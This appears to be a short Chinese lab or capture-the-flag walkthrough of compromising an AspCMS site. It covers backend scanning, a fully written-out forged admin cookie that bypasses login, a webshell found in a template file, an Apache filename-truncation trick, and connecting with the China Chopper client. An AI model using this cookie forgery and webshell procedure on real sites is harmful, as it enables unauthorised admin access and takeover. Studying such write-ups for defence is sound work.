用御剑扫描后台
当访问admin/home.asp时候,提示还没登录
上网搜索aspcms的漏洞
参考;https://www.webshell.cc/2944.html
用 cookie manger 伪造cookie
cookies:username=admin; ASPSESSIONIDAABTAACS=IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias=cn; LanguagePath=%2F; languageID=1; adminId=1; adminName=admin; groupMenu=1%2C+70%2C+10%2C+11%2C+12%2C+13%2C+14%2C+20%2C+68%2C+15%2C+16%2C+17%2C+18%2C+3%2C+25%2C+57%2C+58%2C+59%2C+2%2C+21%2C+22%2C+23%2C+24%2C+4%2C+27%2C+28%2C+29%2C+5%2C+49%2C+52%2C+56%2C+30%2C+51%2C+53%2C+54%2C+55%2C+188%2C+67%2C+63%2C+190%2C+184%2C+86%2C+6%2C+32%2C+33%2C+34%2C+8%2C+37%2C+183%2C+38%2C+60%2C+9; GroupName=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1%D7%E9
访问 admin/home.asp进入后台管理
编辑模板/css文件
点开第一个文件,发现一句话木马
这里说明一下,因为apach的解释url机制是从左到右读取,当读取到asp后缀匹配之后就不会再读下去了,
所以达到截断效果
接下来就是菜刀无惧链接
链接成功